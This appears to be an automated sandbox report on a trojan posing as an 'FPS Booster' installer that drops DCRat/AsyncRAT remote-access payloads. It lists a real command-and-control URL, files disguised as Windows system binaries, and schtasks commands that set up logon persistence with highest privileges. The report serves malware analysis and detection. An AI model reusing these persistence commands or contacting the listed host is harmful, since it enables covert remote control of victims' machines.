Source: savesbrokerDriverSavesbroker.exe, 00000005.00000002.1397323956.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.00000000026A0000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002845000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.1476991915.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000013.00000002.1476965095.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029CD000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.0000000002868000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.0000000002438000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.0000000002599000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.120.228.203/MathpoolCam/ru
Source: HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1518926243.0000000000AD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://188.120.228.203/MathpoolCam/rulemessagerecord/screeX
Source: explorer.exe, 0000001B.00000002.1777779055.0000000002599000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.120.228.203/MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/cores
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: FPS Booster 2.0.7.exe, 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmp, FPS Booster 2.0.7.exe, 00000007.00000000.1351054556.0000000000409000.00000002.00000001.01000000.00000009.sdmp, FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: savesbrokerDriverSavesbroker.exe, 00000005.00000002.1397323956.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002851000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: WerFault.exe, 00000011.00000002.1426473572.0000000002875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:regular
Source: FPS Booster 2.0.7.exe, 00000007.00000002.2601726422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fps-booster.com/api/software/download?branch=master&bits=x64get
Source: FPS Booster 2.0.7.exe, 00000007.00000002.2601726422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fpsbooster.ru/api/en/booster/install?is_agree=0https://fps-booster.com/api/software/download
Source: FPS Booster 2.0.7.exe, 00000007.00000002.2601726422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fpsbooster.ru/api/en/booster/install?is_agree=1/NOCANCELpost
Source: WerFault.exe, 00000011.00000002.1426473572.00000000028A0000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002875000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.0000000002A29000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029FE000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025F4000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: explorer.exe.5.dr	String found in binary or memory: https://steamcommunity.com/profiles/
Source: FPS Booster 2.0.7.exe, 00000007.00000002.2601726422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ccleaner.com/ru-ru
Source: FPS Booster 2.0.7.exe.2.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe

Code function: 7_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

7_2_004050F9

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe

Code function: 7_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

7_2_004044D1

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack, type: UNPACKEDPE	Matched rule: DCRat payload Author: ditekSHen
Source: 5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: savesbrokerDriverSavesbroker.exe PID: 7188, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, type: DROPPED	Matched rule: DCRat payload Author: ditekSHen
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, type: DROPPED	Matched rule: DCRat payload Author: ditekSHen
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, type: DROPPED	Matched rule: DCRat payload Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: DCRat payload Author: ditekSHen
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\Default\WmiPrvSE.exe, type: DROPPED	Matched rule: DCRat payload Author: ditekSHen
Source: C:\Users\Default\WmiPrvSE.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: DCRat payload Author: ditekSHen
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe

Code function: 7_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,

7_2_004038AF

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\SysWOW64\MsRdpWebAccess	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\SysWOW64\MsRdpWebAccess\ee201eac4591f0b16735de891f3d31be299085b8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\regedit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\regedit\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\regedit\7a0fd90576e08807bde2cc57bcf9854bbce05fe3	Jump to behavior

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Code function: 0_2_00F3D268	0_2_00F3D268
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Code function: 0_2_00F33698	0_2_00F33698
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Code function: 0_2_00F3EE30	0_2_00F3EE30
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Code function: 0_2_00F32F60	0_2_00F32F60
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Code function: 0_2_00F3F1C2	0_2_00F3F1C2
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Code function: 0_2_00F3F2B6	0_2_00F3F2B6
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 5_2_00007FF887B30452	5_2_00007FF887B30452
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 5_2_00007FF887B2C898	5_2_00007FF887B2C898
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 5_2_00007FF887B2EFFA	5_2_00007FF887B2EFFA
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 5_2_00007FF887B2E81B	5_2_00007FF887B2E81B
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Code function: 7_2_0040737E	7_2_0040737E
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Code function: 7_2_00406EFE	7_2_00406EFE
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Code function: 7_2_004079A2	7_2_004079A2
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Code function: 7_2_004049A8	7_2_004049A8
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Code function: 23_2_00007FF887B250BA	23_2_00007FF887B250BA

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe

Code function: String function: 004062CF appears 57 times

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 1156

Source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs UNFOT5F1qt.exe
Source: UNFOT5F1qt.exe, 00000000.00000002.1457006922.0000000002A41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAntiDump.dll2 vs UNFOT5F1qt.exe
Source: UNFOT5F1qt.exe, 00000000.00000002.1470247095.0000000004FF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAntiDump.dll2 vs UNFOT5F1qt.exe

Source: UNFOT5F1qt.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DCRat author = ditekSHen, description = DCRat payload
Source: 5.0.savesbrokerDriverSavesbroker.exe.820000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: savesbrokerDriverSavesbroker.exe PID: 7188, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, type: DROPPED	Matched rule: MALWARE_Win_DCRat author = ditekSHen, description = DCRat payload
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, type: DROPPED	Matched rule: MALWARE_Win_DCRat author = ditekSHen, description = DCRat payload
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, type: DROPPED	Matched rule: MALWARE_Win_DCRat author = ditekSHen, description = DCRat payload
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_DCRat author = ditekSHen, description = DCRat payload
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Public\Pictures\RuntimeBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Default\WmiPrvSE.exe, type: DROPPED	Matched rule: MALWARE_Win_DCRat author = ditekSHen, description = DCRat payload
Source: C:\Users\Default\WmiPrvSE.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: MALWARE_Win_DCRat author = ditekSHen, description = DCRat payload
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Windows\regedit\explorer.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: UNFOT5F1qt.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: inaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.troj.evad.winEXE@22/28@0/1

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe

7_2_004044D1

Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe

Code function: 7_2_004024FB CoCreateInstance,

7_2_004024FB

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Code function: 2_2_0040135A GetSystemDirectoryA,PathAddBackslashA,GetWindowsDirectoryA,GetTempPathA,GetModuleFileNameA,GetEnvironmentVariableA,FindResourceA,SizeofResource,LoadResource,LockResource,GlobalAlloc,RtlMoveMemory,GlobalAlloc,RtlMoveMemory,GlobalFree,lstrcpynA,lstrcpyA,lstrlenA,lstrcpyA,lstrlenA,lstrcpyA,lstrcatA,lstrcpyA,CreateFileA,WriteFile,HeapAlloc,WriteFile,HeapFree,CreateFileA,GetFileSize,CloseHandle,HeapAlloc,WriteFile,HeapFree,CloseHandle,GlobalFree,SetFileAttributesA,lstrcpyA,PathFindFileNameA,ShellExecuteA,FreeResource,ExitProcess,ExitProcess,

2_2_0040135A

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

File created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

File created: C:\Users\All Users\Application Data\Application Data\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe

Jump to behavior

Source: C:\Windows\regedit\explorer.exe	Mutant created: NULL
Source: C:\Windows\regedit\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\aa121e4af995dea523d8190342698ff18efb3e55
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2000

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

File created: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

Jump to behavior

Source: unknown	Process created: C:\Windows\regedit\explorer.exe
Source: unknown	Process created: C:\Windows\regedit\explorer.exe

Source: UNFOT5F1qt.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: UNFOT5F1qt.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: UNFOT5F1qt.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

File read: C:\Users\user\Desktop\UNFOT5F1qt.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\UNFOT5F1qt.exe "C:\Users\user\Desktop\UNFOT5F1qt.exe"
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Users\user\Desktop\UNFOT5F1qt.exe "C:\Users\user\Desktop\UNFOT5F1qt.exe"
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe "C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe"
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 1156
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe "C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe"
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Users\All Users\Application Data\Application Data\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Default User\WmiPrvSE.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WerFault" /sc ONLOGON /tr "'C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\regedit\explorer.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Documents and Settings\Public\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe "C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe"
Source: unknown	Process created: C:\Windows\regedit\explorer.exe C:\Windows\regedit\explorer.exe
Source: unknown	Process created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe"
Source: unknown	Process created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe"
Source: unknown	Process created: C:\Windows\regedit\explorer.exe "C:\Windows\regedit\explorer.exe"
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Users\user\Desktop\UNFOT5F1qt.exe "C:\Users\user\Desktop\UNFOT5F1qt.exe"	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe "C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe"	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process created: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe "C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process created: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe "C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe"	Jump to behavior

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Section loaded: uxtheme.dll	Jump to behavior
